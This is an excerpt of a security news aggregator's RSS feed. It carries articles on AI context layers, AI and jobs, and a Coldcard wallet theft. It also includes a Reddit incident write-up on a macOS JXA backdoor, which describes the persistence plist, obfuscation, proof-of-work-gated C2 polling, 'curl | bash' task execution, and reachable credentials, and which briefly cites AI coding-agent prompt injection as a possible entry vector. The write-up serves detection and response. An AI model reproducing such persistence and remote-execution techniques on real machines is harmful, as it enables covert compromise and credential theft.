<p class="wp-block-paragraph">What actually scales is treating context the same way an API treats data: as an interface, not as the content itself. I call this the metadata layer, which describes what a given piece of data is, what it relates to, and how an agent should interpret it, without hard-coding the data itself into every prompt.</p>



<p class="wp-block-paragraph">But an interface isn’t just a description. This is the part teams tend to skip, and it’s where the API analogy actually earns its keep.</p>



<p class="wp-block-paragraph">An API contract does two jobs at once. It documents what an endpoint is for: semantics, the human-readable meaning. And it enforces what a valid call to the endpoint looks like, the schema: required fields, types, allowed values, and the shape of the response. You don’t get to send a string where the contract expects an integer. You don’t get a response with fields the contract didn’t promise. The constraint is what makes the contract trustworthy enough for a stranger to build against it without reading your source code.</p>



<p class="wp-block-paragraph">A metadata layer needs the same duality, and this is where the analogy to a context graph is exact rather than loose. Each entity in a context graph (a customer, a deal, an article) carries both halves of the contract. The semantic half says what the entity is and how it relates to neighboring entities (a deal belongs to an account, an account has a health score, and so on). The schema half says what’s structurally valid: which fields exist, what types they hold, which relationships are legal to traverse, which values are out of range. An agent querying that entity doesn’t just get a definition; it gets boundaries. It can’t hallucinate a field that isn’t in the schema, and it can’t misinterpret a metric because the entity already declares what that metric means and how it’s derived.</p>



<p class="wp-block-paragraph">Skip the constraint half, and you’ve only built documentation, not an interface. Agents can still read what a field is supposed to mean, but nothing stops a new use case from bending that meaning, querying a relationship that doesn’t exist, or returning a shape the next consumer wasn’t expecting. The semantic layer without the schema layer is a description you hope people follow. With both halves, you get something a second agent can build against without ever talking to the first.</p>



<p class="wp-block-paragraph">That distinction sounds small. It isn’t. Hard-coded context works for a single run because it’s fast to build and immediately useful, which is exactly why it’s most people’s first instinct. But every new use case means writing new context, and now you’re maintaining multiple versions that drift out of sync. A layer that describes the types of information available, how to retrieve them, and the boundaries on both ends lets you pull exactly the context a task needs without rewriting the underlying definition every time. Three effects follow, and I see all three constantly with engineering teams:</p>



<ol class="wp-block-list">
<li>Smaller context windows. You retrieve what’s relevant to the current task, not everything ever written about the domain.</li>



<li>Lower token costs. Less context per call means less spend, especially at the volume most production agent systems run at.</li>



<li>Better model output. This is the one teams underweight. An LLM given a smaller, precise, well-bounded context window outperforms one given a sprawling, redundant one. More context doesn’t make a model smarter. It makes it confusing because it now has to guess which parts are the actual constraint and which are noise.</li>
</ol>



<h2 class="wp-block-heading">What happens without that layer</h2>



<p class="wp-block-paragraph">I recently talked with a VP of sales who had built his own AI dashboard. No platform, no infrastructure team, just him wiring data sources directly into an agentic application to get a health view of his reps and accounts: deal history, prior calls, account status, all in one place.</p>



<p class="wp-block-paragraph">It worked. But that was also the problem.</p>



<p class="wp-block-paragraph">Two things happened immediately. First, other teams wanted the same thing. His customer success counterpart wanted an equivalent dashboard, but the logic distinguishing one data field from another—what each source actually meant, and what was and wasn’t a valid way to combine them—lived only in his head. There was no entity definition to hand off, only tribal knowledge. Anyone rebuilding it would have to re-derive both halves of the contract from scratch: the meaning and the boundaries, without his familiarity with either.</p>



<p class="wp-block-paragraph">Second, he didn’t want to keep solving infrastructure problems himself. Caching, data freshness, and access control (the plumbing under an agent that talks to your data) aren’t sales work, and he had no interest in rebuilding the dashboard for every new use case.</p>



<p class="wp-block-paragraph">This is the pattern across most teams that reach for agents without a context layer underneath them. Building an agent is no longer the hard part; you can spin one up on any major model provider in an afternoon. The hard part is what happens after the first one works. Every additional use case re-derives the same understanding of your own data by hand, with no schema to check it against and no guarantee the next person gets it right.</p>



<h2 class="wp-block-heading">Write the contract once, use it everywhere</h2>



<p class="wp-block-paragraph">The shift here is from a one-time context to a durable context. Hard-coded context has a shelf life of exactly one use case. Context that lives as a described, bounded, retrievable entity survives future use cases, because you wrote down what the data means and what’s valid to do with it, not just what one agent needed once.</p>



<p class="wp-block-paragraph">This matters more as agent use spreads. Once more than one agent touches the same underlying data for different purposes, they need a shared contract: the same semantic definitions, the same enforced boundaries, the same context graph. Multiple agents can’t each carry a private, hard-coded understanding of shared data. </p>



<p class="wp-block-paragraph">Before adding more context to your next prompt, ask whether you’re patching a current issue or defining a contract that will outlast it. Hard-coding is faster for a one-off. Building something multiple people or agents will interact with means investing in a context layer that states both what the data is for and what it will and won’t return. That investment pays off the moment someone else builds on it without starting from zero.</p>



<p class="wp-block-paragraph">That’s the actual shift underway in how teams manage context. It isn’t about bigger models or longer context windows. It’s about giving data and its description a different relationship, where the second use case is cheaper than the first. Because the contract, not just the content, was built to last.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI can do your tasks. That doesn’t mean it will do your job]]></title>
<description><![CDATA[Much of the conversation around AI and work has centered on a single question: Will AI take my job?



It’s an understandable concern. Every week AI becomes increasingly more capable. We see AI summarizing meetings, generating content, analyzing data, writing software and automating workflows tha...]]></description>
<link>https://tsecurity.de/de/3700521/it-security-nachrichten/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700521/it-security-nachrichten/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job/</guid>
<pubDate>Mon, 03 Aug 2026 12:03:12 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Much of the conversation around AI and work has centered on a single question: Will AI take my job?</p>



<p class="wp-block-paragraph">It’s an understandable concern. Every week AI becomes increasingly more capable. We see AI summarizing meetings, generating content, analyzing data, writing software and automating workflows that once required significant human effort. Agentic AI is also becoming more established in the workplace, with virtual agents that can reason, plan and act across workflows. As those capabilities continue to improve, many employees are looking at the tasks they perform every day and wondering how much longer they will belong to them.</p>



<p class="wp-block-paragraph">I believe that question reveals a bigger issue that has little to do with the technology itself.</p>



<p class="wp-block-paragraph">Too many people have become defined by the tasks they perform rather than the value they create. Over time, the administrative work surrounding a role can overshadow the purpose behind it. According to Asana’s <a href="https://asana.com/resources/why-work-about-work-is-bad?utm_source=chatgpt.com">Anatomy of Work Index</a>, knowledge workers spend 60% of their time on “work about work” — coordinating, tracking and managing tasks rather than driving meaningful outcomes. As AI automates more of this work, it can feel less like a productivity breakthrough and more like a threat because many employees equate their value with the activities that consume most of their day.</p>



<p class="wp-block-paragraph">But most people were not hired to perform a task. They were hired to fulfill a purpose.</p>



<h2 class="wp-block-heading">Tasks are not the job</h2>



<p class="wp-block-paragraph">A customer service representative isn’t successful because they spend their day summarizing conversations, looking up account information or navigating multiple systems to find answers. Those activities may have become part of the job, but they aren’t the reason the role exists. Great service professionals build trust, solve problems and create moments that strengthen customer relationships. AI can, and should, take on this administrative work, but the human value has never been in completing those tasks. It has always been in helping customers through moments that matter.</p>



<p class="wp-block-paragraph">The industry increasingly recognizes this distinction. In fact, 91% of CX leaders believe human agents will remain a critical part of delivering customer experience, according to my company’s <a href="https://www.genesys.com/resources/state-of-cx">State of Customer Experience</a> 2026 report. As AI takes on more routine work, the role of the employee doesn’t disappear. It becomes even more focused on the judgment, empathy and relationship-building that customers value most.</p>



<p class="wp-block-paragraph">The same principle applies across every profession. A marketer isn’t measured by the number of presentations they build or approvals they coordinate; they’re hired to shape customer perception and drive growth; an HR professional isn’t successful because they schedule interviews or process paperwork; they’re there to identify, develop and retain talent. The examples go on, but the principle remains the same: Organizations create roles because outcomes need to be achieved, not because tasks need to be completed.<strong></strong></p>



<p class="wp-block-paragraph">I’ve helped lead four major AI transformations, spanning everything from machine learning and big data to conversational AI, generative AI and now agentic AI. While the technology has evolved dramatically, one pattern has remained remarkably consistent.</p>



<p class="wp-block-paragraph">The employees who embrace AI tend to focus on outcomes, while those who fear it often focus on tasks. The more someone defines their contribution through a list of activities, the easier it becomes to imagine AI replacing them. The more someone understands the purpose they serve, the easier it becomes to see AI as a tool that helps them deliver greater value.</p>



<p class="wp-block-paragraph">As part of AI transformations, CIO organizations are often responsible for mapping jobs and core workflows. Inevitably, employees think we’re mapping their jobs to figure out what AI can replace. But once we start identifying repetitive work they’d gladly hand off, perspectives change. Someone says, “If AI handled that, I’d finally have time to work directly with customers.” Another realizes they could spend more time creating. People start thinking less about what AI might replace and more about what they’d finally have time to do. They’re reconnecting with the reason they wanted the role in the first place.</p>



<p class="wp-block-paragraph">I’ve seen this play out as AI adoption expands. Our team responsible for responding to customer RFPs began using AI to analyze requirements, surface relevant information and accelerate response development. Their purpose is to help the organization communicate our value to customers and win new business. By reducing the time spent on low-value activities, AI created more capacity for strategic thinking, collaboration and customer-focused work, which directly influences the revenue and growth of our company.</p>



<p class="wp-block-paragraph">I’ve even had to confront this myself. I used to spend hours coaching leaders before operational reviews: reviewing KPIs, challenging assumptions and helping them prepare for difficult questions. I used to think this was part of what made me valuable as a CIO, but I realized that I didn’t need to spend my time repeating the same coaching session. That’s why I built a virtual coach that helps my team prepare for operational reviews using many of the frameworks and lessons I’ve accumulated throughout my career. Now I have more time to spend strategizing on how to lead through the breakneck speed of AI evolution and helping the business think differently.</p>



<h2 class="wp-block-heading">Rediscovering purpose</h2>



<p class="wp-block-paragraph">What employees are really confronting is a different question: What was my purpose in being hired in the first place?</p>



<p class="wp-block-paragraph">As organizations move from AI experimentation to AI-first operating models, this question becomes harder to avoid. The tension is already visible across the workforce. A recent <a href="https://www.ey.com/en_us/newsroom/2025/10/new-ey-survey-reveals-majority-of-workers-are-enthusiastic-about-agentic-ai-but-leadership-gaps-in-communication-and-lack-of-training-threaten-impact">EY survey</a> found that 84% of employees are eager to embrace agentic AI because they expect it to improve productivity, efficiency and the overall work experience. Yet 56% also worry about their job security working alongside AI systems. Employees aren’t rejecting AI; they’re trying to understand which parts of their contributions remain uniquely theirs as technology takes on more of the tasks they perform today.</p>



<p class="wp-block-paragraph">Success will depend greatly on helping employees reconnect with the value they were hired to create. For leaders looking for practical guidance on how organizations are actually approaching AI-first transformation, the World Economic Forum’s <a href="https://www.weforum.org/publications/the-ai-first-operating-system-a-blueprint-for-operating-and-business-model-innovation/">AI-First Operating System</a> offers a useful framework. Rather than treating AI as another technological tool, this approach encourages organizations to redesign work around value creation. As AI increasingly takes on routine tasks, employees must become clearer about where human judgment, creativity and relationships can create the greatest impact. You cannot redesign work around value if people no longer understand the purpose behind the work that they do.</p>



<p class="wp-block-paragraph">In my experience, the organizations seeing the strongest results are helping employees reconnect with the outcomes they were hired to create. The conversation shifts from “What tasks can AI do?” to “What is the purpose of this role?” Once people answer that question, it becomes much easier to decide what should remain human, what can be delegated to AI and where the combination creates the most value.</p>



<p class="wp-block-paragraph">None of this means change won’t happen. Some responsibilities will disappear. Some jobs will evolve significantly. New roles will emerge that we cannot fully predict today. Every major technology shift creates that kind of change.</p>



<p class="wp-block-paragraph">But I believe many people are looking at this transformation through the wrong lens.</p>



<p class="wp-block-paragraph">The question is not whether AI can do your tasks. The question is whether you understand the purpose behind them. Because while AI may increasingly perform the work, humans will continue to provide the judgment, creativity, accountability and value that give that work meaning.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI can do your tasks. That doesn’t mean it will do your job]]></title>
<description><![CDATA[Much of the conversation around AI and work has centered on a single question: Will AI take my job?



It’s an understandable concern. Every week AI becomes increasingly more capable. We see AI summarizing meetings, generating content, analyzing data, writing software and automating workflows tha...]]></description>
<link>https://tsecurity.de/de/3700504/it-nachrichten/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700504/it-nachrichten/ai-can-do-your-tasks-that-doesnt-mean-it-will-do-your-job/</guid>
<pubDate>Mon, 03 Aug 2026 12:02:07 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Much of the conversation around AI and work has centered on a single question: Will AI take my job?</p>



<p class="wp-block-paragraph">It’s an understandable concern. Every week AI becomes increasingly more capable. We see AI summarizing meetings, generating content, analyzing data, writing software and automating workflows that once required significant human effort. Agentic AI is also becoming more established in the workplace, with virtual agents that can reason, plan and act across workflows. As those capabilities continue to improve, many employees are looking at the tasks they perform every day and wondering how much longer they will belong to them.</p>



<p class="wp-block-paragraph">I believe that question reveals a bigger issue that has little to do with the technology itself.</p>



<p class="wp-block-paragraph">Too many people have become defined by the tasks they perform rather than the value they create. Over time, the administrative work surrounding a role can overshadow the purpose behind it. According to Asana’s <a href="https://asana.com/resources/why-work-about-work-is-bad?utm_source=chatgpt.com">Anatomy of Work Index</a>, knowledge workers spend 60% of their time on “work about work” — coordinating, tracking and managing tasks rather than driving meaningful outcomes. As AI automates more of this work, it can feel less like a productivity breakthrough and more like a threat because many employees equate their value with the activities that consume most of their day.</p>



<p class="wp-block-paragraph">But most people were not hired to perform a task. They were hired to fulfill a purpose.</p>



<h2 class="wp-block-heading">Tasks are not the job</h2>



<p class="wp-block-paragraph">A customer service representative isn’t successful because they spend their day summarizing conversations, looking up account information or navigating multiple systems to find answers. Those activities may have become part of the job, but they aren’t the reason the role exists. Great service professionals build trust, solve problems and create moments that strengthen customer relationships. AI can, and should, take on this administrative work, but the human value has never been in completing those tasks. It has always been in helping customers through moments that matter.</p>



<p class="wp-block-paragraph">The industry increasingly recognizes this distinction. In fact, 91% of CX leaders believe human agents will remain a critical part of delivering customer experience, according to my company’s <a href="https://www.genesys.com/resources/state-of-cx">State of Customer Experience</a> 2026 report. As AI takes on more routine work, the role of the employee doesn’t disappear. It becomes even more focused on the judgment, empathy and relationship-building that customers value most.</p>



<p class="wp-block-paragraph">The same principle applies across every profession. A marketer isn’t measured by the number of presentations they build or approvals they coordinate; they’re hired to shape customer perception and drive growth; an HR professional isn’t successful because they schedule interviews or process paperwork; they’re there to identify, develop and retain talent. The examples go on, but the principle remains the same: Organizations create roles because outcomes need to be achieved, not because tasks need to be completed.<strong></strong></p>



<p class="wp-block-paragraph">I’ve helped lead four major AI transformations, spanning everything from machine learning and big data to conversational AI, generative AI and now agentic AI. While the technology has evolved dramatically, one pattern has remained remarkably consistent.</p>



<p class="wp-block-paragraph">The employees who embrace AI tend to focus on outcomes, while those who fear it often focus on tasks. The more someone defines their contribution through a list of activities, the easier it becomes to imagine AI replacing them. The more someone understands the purpose they serve, the easier it becomes to see AI as a tool that helps them deliver greater value.</p>



<p class="wp-block-paragraph">As part of AI transformations, CIO organizations are often responsible for mapping jobs and core workflows. Inevitably, employees think we’re mapping their jobs to figure out what AI can replace. But once we start identifying repetitive work they’d gladly hand off, perspectives change. Someone says, “If AI handled that, I’d finally have time to work directly with customers.” Another realizes they could spend more time creating. People start thinking less about what AI might replace and more about what they’d finally have time to do. They’re reconnecting with the reason they wanted the role in the first place.</p>



<p class="wp-block-paragraph">I’ve seen this play out as AI adoption expands. Our team responsible for responding to customer RFPs began using AI to analyze requirements, surface relevant information and accelerate response development. Their purpose is to help the organization communicate our value to customers and win new business. By reducing the time spent on low-value activities, AI created more capacity for strategic thinking, collaboration and customer-focused work, which directly influences the revenue and growth of our company.</p>



<p class="wp-block-paragraph">I’ve even had to confront this myself. I used to spend hours coaching leaders before operational reviews: reviewing KPIs, challenging assumptions and helping them prepare for difficult questions. I used to think this was part of what made me valuable as a CIO, but I realized that I didn’t need to spend my time repeating the same coaching session. That’s why I built a virtual coach that helps my team prepare for operational reviews using many of the frameworks and lessons I’ve accumulated throughout my career. Now I have more time to spend strategizing on how to lead through the breakneck speed of AI evolution and helping the business think differently.</p>



<h2 class="wp-block-heading">Rediscovering purpose</h2>



<p class="wp-block-paragraph">What employees are really confronting is a different question: What was my purpose in being hired in the first place?</p>



<p class="wp-block-paragraph">As organizations move from AI experimentation to AI-first operating models, this question becomes harder to avoid. The tension is already visible across the workforce. A recent <a href="https://www.ey.com/en_us/newsroom/2025/10/new-ey-survey-reveals-majority-of-workers-are-enthusiastic-about-agentic-ai-but-leadership-gaps-in-communication-and-lack-of-training-threaten-impact">EY survey</a> found that 84% of employees are eager to embrace agentic AI because they expect it to improve productivity, efficiency and the overall work experience. Yet 56% also worry about their job security working alongside AI systems. Employees aren’t rejecting AI; they’re trying to understand which parts of their contributions remain uniquely theirs as technology takes on more of the tasks they perform today.</p>



<p class="wp-block-paragraph">Success will depend greatly on helping employees reconnect with the value they were hired to create. For leaders looking for practical guidance on how organizations are actually approaching AI-first transformation, the World Economic Forum’s <a href="https://www.weforum.org/publications/the-ai-first-operating-system-a-blueprint-for-operating-and-business-model-innovation/">AI-First Operating System</a> offers a useful framework. Rather than treating AI as another technological tool, this approach encourages organizations to redesign work around value creation. As AI increasingly takes on routine tasks, employees must become clearer about where human judgment, creativity and relationships can create the greatest impact. You cannot redesign work around value if people no longer understand the purpose behind the work that they do.</p>



<p class="wp-block-paragraph">In my experience, the organizations seeing the strongest results are helping employees reconnect with the outcomes they were hired to create. The conversation shifts from “What tasks can AI do?” to “What is the purpose of this role?” Once people answer that question, it becomes much easier to decide what should remain human, what can be delegated to AI and where the combination creates the most value.</p>



<p class="wp-block-paragraph">None of this means change won’t happen. Some responsibilities will disappear. Some jobs will evolve significantly. New roles will emerge that we cannot fully predict today. Every major technology shift creates that kind of change.</p>



<p class="wp-block-paragraph">But I believe many people are looking at this transformation through the wrong lens.</p>



<p class="wp-block-paragraph">The question is not whether AI can do your tasks. The question is whether you understand the purpose behind them. Because while AI may increasingly perform the work, humans will continue to provide the judgment, creativity, accountability and value that give that work meaning.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 months of undetected JXA backdoor on macOS. signature scanners found nothing, manual persistence check found it in 10 seconds]]></title>
<description><![CDATA[Background: developer, cybersecurity basics but not a security professional. Working on a M Chip Mac. Posting as a writeup and to sanity-check my analysis and response. Discovery Auditing login items in ~/Library/LaunchAgents/. Normally vendor-named (com.google.keystone.agent), but one entry was ...]]></description>
<link>https://tsecurity.de/de/3700237/malware-trojaner-viren/5-months-of-undetected-jxa-backdoor-on-macos-signature-scanners-found-nothing-manual-persistence-check-found-it-in-10-seconds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700237/malware-trojaner-viren/5-months-of-undetected-jxa-backdoor-on-macos-signature-scanners-found-nothing-manual-persistence-check-found-it-in-10-seconds/</guid>
<pubDate>Mon, 03 Aug 2026 10:23:24 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Background: developer, cybersecurity basics but not a security professional. Working on a M Chip Mac. Posting as a writeup and to sanity-check my analysis and response.</p> <h1>Discovery</h1> <p>Auditing login items in <code>~/Library/LaunchAgents/</code>. Normally vendor-named (<code>com.google.keystone.agent</code>), but one entry was a bare 32-character hex string pointing to a JS file in an identically-named directory.</p> <p>xml</p> <pre><code>ProgramArguments: /usr/bin/osascript -l JavaScript ~/Library/Application Support/&lt;hex&gt;/&lt;hex&gt;.js RunAtLoad: true KeepAlive: true ThrottleInterval: 60 StandardOutPath: /dev/null StandardErrorPath: /dev/null </code></pre> <p><code>RunAtLoad</code>/<code>KeepAlive</code> = starts at login, respawns on crash. Both output paths to <code>/dev/null</code> = zero logging by design.</p> <h1>The payload</h1> <p>Obfuscated (string-array rotation, <code>a0_0x...</code> identifiers, anti-beautify self-check, console hijacking). Working through it:</p> <p><strong>Fingerprinting:</strong> MD5 of the hardware UUID sent as User-Agent — stable per-host ID, survives reinstalls.</p> <p><strong>Polling:</strong> <code>curl</code> to a random-looking C2 domain every 60s via <code>/api/poll</code>.</p> <p><strong>Proof-of-work gating:</strong> server sends a challenge + difficulty; client brute-forces a nonce until <code>SHA256(nonce-challenge)</code> hits N leading zeros before getting a session token. Not security — anti-analysis. Burns sandbox CPU and filters out short-lived research environments.</p> <p><strong>Execution:</strong> response <code>type</code> field branches to <code>osascript -l JavaScript</code>, <code>osascript</code> (AppleScript), or <code>curl | bash</code> — all backgrounded, output discarded, payloads piped via stdin so nothing hits disk.</p> <p><strong>Ack loop:</strong> separate PUT confirming task completion, same PoW handling.</p> <h1>Key point</h1> <p>No credential-harvesting code, no keylogger, no exfil routine — <strong>it's a generic execution channel</strong>. What it did over 5 months is entirely dependent on what was pushed to it, and unknowable since nothing was logged.</p> <p>Running as user (no root) but with <code>osascript</code>, reachable surface on a dev box: git tokens in <code>.git/config</code>, passphrase-less SSH keys, <code>.env</code> files, certs on disk, unprotected keychain items (plus AppleScript can render fake password prompts for protected ones), browser cookies/sessions, and screen capture. Secure Enclave–bound passkeys/Touch ID items held — not reachable by a software process, any attempt triggers an unspoofable OS prompt.</p> <p>Install date (Spotlight <code>kMDItemDateAdded</code>): Feb 13. Found late July — ~5.5 months.</p> <h1>Why detection failed</h1> <p>Commercial AV installed the whole time; ran ClamAV afterward too. <strong>Zero detections, both, even knowing the exact path.</strong> Signature engines hash/pattern-match against known-bad corpora — useless against a bespoke, obfuscated, one-off sample. Nothing here is structurally illegal either: <code>osascript</code> is first-party Apple, a <code>.js</code> file + LaunchAgent plist are ordinary primitives. Only the naming convention and combination were anomalous — semantic signals a heuristic/behavioral engine could catch, not a signature one.</p> <p>The actual detection method: <code>ls -la ~/Library/LaunchAgents/</code>.</p> <h1>Forensics: mostly a dead end</h1> <p><code>LSQuarantineEvent</code> DB empty for that window (suggests the file was written by a running process, not browser-downloaded), Downloads/browser history clean, <code>.zsh_history</code> rotated out (<code>SAVEHIST=1000</code>), npm logs only back to July, unified log retention nowhere near 5 months, Time Machine's oldest backup postdates the incident.</p> <p>Ruled out: no ClickFix-style paste-into-terminal.</p> <p>What lines up temporally: a short GitHub Copilot session that evening, working on a payments API integration — chat history long gone. Circumstantial, not proof. But there are documented issues with AI coding agents: indirect prompt injection leading to unapproved shell execution, hidden-unicode instructions in config/rules files, hallucinated package names pre-registered by attackers. A compromised npm <code>postinstall</code> hook is equally plausible. Genuinely don't know.</p> <p><strong>Response:</strong></p> <p><strong>Containment:</strong> unloaded LaunchAgent, killed process, removed plist + payload dir.</p> <p><strong>Verification (4 independent passes):</strong></p> <ul> <li>KnockKnock (structural persistence enumeration, checks code signing) — everything else attributable/notarized</li> <li>Reboot + <code>launchctl list | grep -v</code> <a href="http://com.apple/"><code>com.apple</code></a>, checked for live <code>osascript</code>: clean</li> <li>ClamAV full scan: 0 infected</li> <li>Manual checks: <code>authorized_keys</code> (didn't exist), SSH config, git hooks, config profiles, BTM database (<code>sfltool dumpbtm</code>), shell startup files, crontab, <code>/tmp</code></li> </ul> <p>No second-stage persistence found — consistent with the code having no propagation/redundancy logic.</p> <p><strong>Remediation</strong> (assuming worst case, since visibility is zero): new SSH keypair with passphrase, all API keys rotated (including a service-role key bypassing RLS), certs reissued and moved out of cloud sync, passwords rotated by 2FA priority, audited 2FA actually enforced (not just "enabled once"), card reissued, WiFi password changed, sessions invalidated globally.</p> <p><strong>Hardening:</strong> the real gap was egress — macOS's firewall is inbound-only. Installed LuLu (outbound filtering) + BlockBlock (real-time persistence monitor). Either would've caught this on day one.</p> <p><strong>Questions</strong></p> <ol> <li>Is my read on the detection failure right — no signature entry exists for bespoke malware, nothing structurally anomalous for generic heuristics? Would an EDR with behavioral telemetry have flagged the <code>osascript</code> + LaunchAgent + periodic egress pattern?</li> <li>Was skipping a full reinstall defensible given 4 clean verification passes and no propagation logic, or is that too much trust after 5.5 months of arbitrary execution?</li> <li>Anything missing from the rotation list?</li> <li>Anyone seen a documented case (not speculation) of an AI coding agent confirmed as initial access vector?</li> <li>Is PoW-gated C2 polling common in the wild, or unusually deliberate for otherwise commodity-looking tooling?</li> </ol> <p>Takeaway: AV protects against things that already have names. This didn't. What worked was ten seconds looking at what actually starts on my machine.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Silver-Security-2233"> /u/Silver-Security-2233 </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1vasiff/5_months_of_undetected_jxa_backdoor_on_macos/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1vasiff/5_months_of_undetected_jxa_backdoor_on_macos/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Coldcard Firmware Flaw Lets Hackers Steal $70 Million in Bitcoin From 1,196 Addresses]]></title>
<description><![CDATA[Blockchain analysts have linked a rapid series of Bitcoin wallet drains to a reported vulnerability in Coldcard firmware. A total of 1,196 addresses lost a combined 1,082.65 BTC, valued at approximately $70.2 million, in just 41 minutes on July 30, 2026. Galaxy Research stated that its transactio...]]></description>
<link>https://tsecurity.de/de/3700213/hacking/coldcard-firmware-flaw-lets-hackers-steal-70-million-in-bitcoin-from-1196-addresses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700213/hacking/coldcard-firmware-flaw-lets-hackers-steal-70-million-in-bitcoin-from-1196-addresses/</guid>
<pubDate>Mon, 03 Aug 2026 10:23:00 +0200</pubDate>
<content:encoded><![CDATA[<p>Blockchain analysts have linked a rapid series of Bitcoin wallet drains to a reported vulnerability in Coldcard firmware. A total of 1,196 addresses lost a combined 1,082.65 BTC, valued at approximately $70.2 million, in just 41 minutes on July 30, 2026. Galaxy Research stated that its transaction-flow analysis was based on a pattern initially identified […]</p>
<p>The post <a href="https://gbhackers.com/coldcard-firmware-flaw/">Coldcard Firmware Flaw Lets Hackers Steal $70 Million in Bitcoin From 1,196 Addresses</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Coldcard Firmware Flaw Lets Hackers Steal $70 Million in Bitcoin From 1,196 Addresses]]></title>
<description><![CDATA[Blockchain analysts have linked a rapid series of Bitcoin wallet drains to a reported vulnerability in Coldcard firmware. A total of 1,196 addresses lost a combined 1,082.65 BTC, valued at approximately $70.2 million, in just 41 minutes on July 30, 2026. Galaxy Research stated that its transactio...]]></description>
<link>https://tsecurity.de/de/3700201/it-security-nachrichten/coldcard-firmware-flaw-lets-hackers-steal-70-million-in-bitcoin-from-1196-addresses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700201/it-security-nachrichten/coldcard-firmware-flaw-lets-hackers-steal-70-million-in-bitcoin-from-1196-addresses/</guid>
<pubDate>Mon, 03 Aug 2026 10:21:53 +0200</pubDate>
<content:encoded><![CDATA[<p>Blockchain analysts have linked a rapid series of Bitcoin wallet drains to a reported vulnerability in Coldcard firmware. A total of 1,196 addresses lost a combined 1,082.65 BTC, valued at approximately $70.2 million, in just 41 minutes on July 30, 2026. Galaxy Research stated that its transaction-flow analysis was based on a pattern initially identified […]</p>
<p>The post <a href="https://gbhackers.com/coldcard-firmware-flaw/">Coldcard Firmware Flaw Lets Hackers Steal $70 Million in Bitcoin From 1,196 Addresses</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The platform team isn’t a cost center, it’s product infrastructure]]></title>
<description><![CDATA[A few years ago, I sat in a postmortem that I still think about. We’d had a production incident where a routine deploy had quietly shipped with the wrong configuration, and it took us longer to notice and roll back than anyone was comfortable admitting. But when we traced the root cause, almost n...]]></description>
<link>https://tsecurity.de/de/3699899/ai-nachrichten/the-platform-team-isnt-a-cost-center-its-product-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699899/ai-nachrichten/the-platform-team-isnt-a-cost-center-its-product-infrastructure/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A few years ago, I sat in a postmortem that I still think about. We’d had a production incident where a routine deploy had quietly shipped with the wrong configuration, and it took us longer to notice and roll back than anyone was comfortable admitting. But when we traced the root cause, almost none of it was the feature code. It was the scaffolding around it: a Kubernetes manifest no longer matched our cluster, a CI pipeline whose green checkmark didn’t actually verify the thing we assumed it did, and a secrets-management step that three different services each did three different ways. The code itself had been fine for a week. Everything <em>around</em> the code is what failed us.</p>



<p class="wp-block-paragraph">I have seen some version of that retro at nearly every company I’ve worked at over the last 15 years across a large IT services firm, a medical-device maker, a healthcare-technology company, a cloud-migration startup, and now a large SaaS platform. The names and the tech stacks changed. The pattern didn’t. Smart engineers spending a startling share of their week not on the problem they were hired to solve, but on the accidental complexity of shipping it.</p>



